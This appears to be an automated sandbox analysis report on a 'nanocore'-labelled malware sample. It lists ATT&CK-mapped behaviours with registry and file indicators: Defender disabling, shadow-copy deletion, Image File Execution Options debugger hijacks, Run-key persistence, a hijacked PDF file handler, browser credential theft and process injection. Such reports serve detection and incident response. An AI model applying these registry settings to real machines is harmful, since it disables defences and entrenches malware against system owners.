nanocore | bed278e9b7c5bd93a297685d6f3b06d961d74177d0483911d3191413e6ca3268

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	cakhiatvxla.cv_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4776	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	cakhiatvxla.cv_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cakhiatvxla.cv_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	cakhiatvxla.cv_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvxla.cv_chrome.exe"	cakhiatvxla.cv_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	cakhiatvxla.cv_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvxla.cv_chrome.exe"	cakhiatvxla.cv_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	cakhiatvxla.cv_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvxla.cv_chrome.exe"	cakhiatvxla.cv_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
3020	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 64 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	cakhiatvxla.cv_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	cakhiatvxla.cv_chrome.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvxla.cv_chrome.exe"	cakhiatvxla.cv_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvxla.cv_chrome.exe"	cakhiatvxla.cv_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvxla.cv_chrome.exe"	cakhiatvxla.cv_chrome.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	cakhiatvxla.cv_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	cakhiatvxla.cv_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	cakhiatvxla.cv_chrome.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4836	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1112	wscript.exe
1516	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	cakhiatvxla.cv_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	cakhiatvxla.cv_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4328	sc.exe
4504	sc.exe
3876	sc.exe
4928	sc.exe
5820	sc.exe
672	sc.exe
5684	sc.exe
5760	sc.exe
2140	sc.exe
1268	sc.exe
4832	sc.exe
1680	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2104	cmd.exe
2728	cmd.exe
5568	cmd.exe
4148	cmd.exe
1252	cmd.exe
4588	cmd.exe
5372	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1520	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3116	ipconfig.exe
2580	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4416	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5124	vssadmin.exe
1112	vssadmin.exe
4284	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\WallpaperStyle = "2"	cakhiatvxla.cv_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134291548275778444"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvxla.cv_chrome.exe"	cakhiatvxla.cv_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	cakhiatvxla.cv_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	cakhiatvxla.cv_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvxla.cv_chrome.exe\" \"%1\""	cakhiatvxla.cv_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	cakhiatvxla.cv_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	cakhiatvxla.cv_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	cakhiatvxla.cv_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	cakhiatvxla.cv_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	cakhiatvxla.cv_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	cakhiatvxla.cv_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	cakhiatvxla.cv_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	cakhiatvxla.cv_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\DelegateExecute	cakhiatvxla.cv_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	cakhiatvxla.cv_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	cakhiatvxla.cv_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	cakhiatvxla.cv_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1368	schtasks.exe
4752	schtasks.exe
3496	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5088	chrome.exe
5088	chrome.exe
4776	powershell.exe
4776	powershell.exe
4776	powershell.exe
3344	WMIC.exe
3344	WMIC.exe
3344	WMIC.exe
3344	WMIC.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
872	WMIC.exe
872	WMIC.exe
872	WMIC.exe
872	WMIC.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
4772	WMIC.exe
4772	WMIC.exe
4772	WMIC.exe
4772	WMIC.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe
3452	cakhiatvxla.cv_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3452	cakhiatvxla.cv_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5088	chrome.exe
Token: SeCreatePagefilePrivilege	5088	chrome.exe
Token: SeDebugPrivilege	4776	powershell.exe
Token: SeShutdownPrivilege	5088	chrome.exe
Token: SeCreatePagefilePrivilege	5088	chrome.exe
Token: SeShutdownPrivilege	5088	chrome.exe
Token: SeCreatePagefilePrivilege	5088	chrome.exe
Token: SeIncreaseQuotaPrivilege	3344	WMIC.exe
Token: SeSecurityPrivilege	3344	WMIC.exe
Token: SeTakeOwnershipPrivilege	3344	WMIC.exe
Token: SeLoadDriverPrivilege	3344	WMIC.exe
Token: SeSystemProfilePrivilege	3344	WMIC.exe
Token: SeSystemtimePrivilege	3344	WMIC.exe
Token: SeProfSingleProcessPrivilege	3344	WMIC.exe
Token: SeIncBasePriorityPrivilege	3344	WMIC.exe
Token: SeCreatePagefilePrivilege	3344	WMIC.exe
Token: SeBackupPrivilege	3344	WMIC.exe
Token: SeRestorePrivilege	3344	WMIC.exe
Token: SeShutdownPrivilege	3344	WMIC.exe
Token: SeDebugPrivilege	3344	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3344	WMIC.exe
Token: SeRemoteShutdownPrivilege	3344	WMIC.exe
Token: SeUndockPrivilege	3344	WMIC.exe
Token: SeManageVolumePrivilege	3344	WMIC.exe
Token: 33	3344	WMIC.exe
Token: 34	3344	WMIC.exe
Token: 35	3344	WMIC.exe
Token: 36	3344	WMIC.exe
Token: SeShutdownPrivilege	5088	chrome.exe
Token: SeCreatePagefilePrivilege	5088	chrome.exe
Token: SeBackupPrivilege	4252	vssvc.exe
Token: SeRestorePrivilege	4252	vssvc.exe
Token: SeAuditPrivilege	4252	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3344	WMIC.exe
Token: SeSecurityPrivilege	3344	WMIC.exe
Token: SeTakeOwnershipPrivilege	3344	WMIC.exe
Token: SeLoadDriverPrivilege	3344	WMIC.exe
Token: SeSystemProfilePrivilege	3344	WMIC.exe
Token: SeSystemtimePrivilege	3344	WMIC.exe
Token: SeProfSingleProcessPrivilege	3344	WMIC.exe
Token: SeIncBasePriorityPrivilege	3344	WMIC.exe
Token: SeCreatePagefilePrivilege	3344	WMIC.exe
Token: SeBackupPrivilege	3344	WMIC.exe
Token: SeRestorePrivilege	3344	WMIC.exe
Token: SeShutdownPrivilege	3344	WMIC.exe
Token: SeDebugPrivilege	3344	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3344	WMIC.exe
Token: SeRemoteShutdownPrivilege	3344	WMIC.exe
Token: SeUndockPrivilege	3344	WMIC.exe
Token: SeManageVolumePrivilege	3344	WMIC.exe
Token: 33	3344	WMIC.exe
Token: 34	3344	WMIC.exe
Token: 35	3344	WMIC.exe
Token: 36	3344	WMIC.exe
Token: SeShutdownPrivilege	5088	chrome.exe
Token: SeCreatePagefilePrivilege	5088	chrome.exe
Token: SeShutdownPrivilege	5088	chrome.exe
Token: SeCreatePagefilePrivilege	5088	chrome.exe
Token: SeShutdownPrivilege	5088	chrome.exe
Token: SeCreatePagefilePrivilege	5088	chrome.exe
Token: SeIncreaseQuotaPrivilege	4776	powershell.exe
Token: SeSecurityPrivilege	4776	powershell.exe
Token: SeTakeOwnershipPrivilege	4776	powershell.exe
Token: SeLoadDriverPrivilege	4776	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe
5088	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3452	cakhiatvxla.cv_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3452 wrote to memory of 5088	3452	cakhiatvxla.cv_chrome.exe	88
PID 5088 wrote to memory of 4888	5088	chrome.exe	89
PID 3452 wrote to memory of 4776	3452	cakhiatvxla.cv_chrome.exe	90
PID 5088 wrote to memory of 5804	5088	chrome.exe	94
PID 5088 wrote to memory of 1520	5088	chrome.exe	93
PID 5088 wrote to memory of 5804	5088	chrome.exe	94
PID 5088 wrote to memory of 2412	5088	chrome.exe	95
PID 5088 wrote to memory of 2412	5088	chrome.exe	95
PID 3452 wrote to memory of 4928	3452	cakhiatvxla.cv_chrome.exe	92
PID 5088 wrote to memory of 300	5088	chrome.exe	98
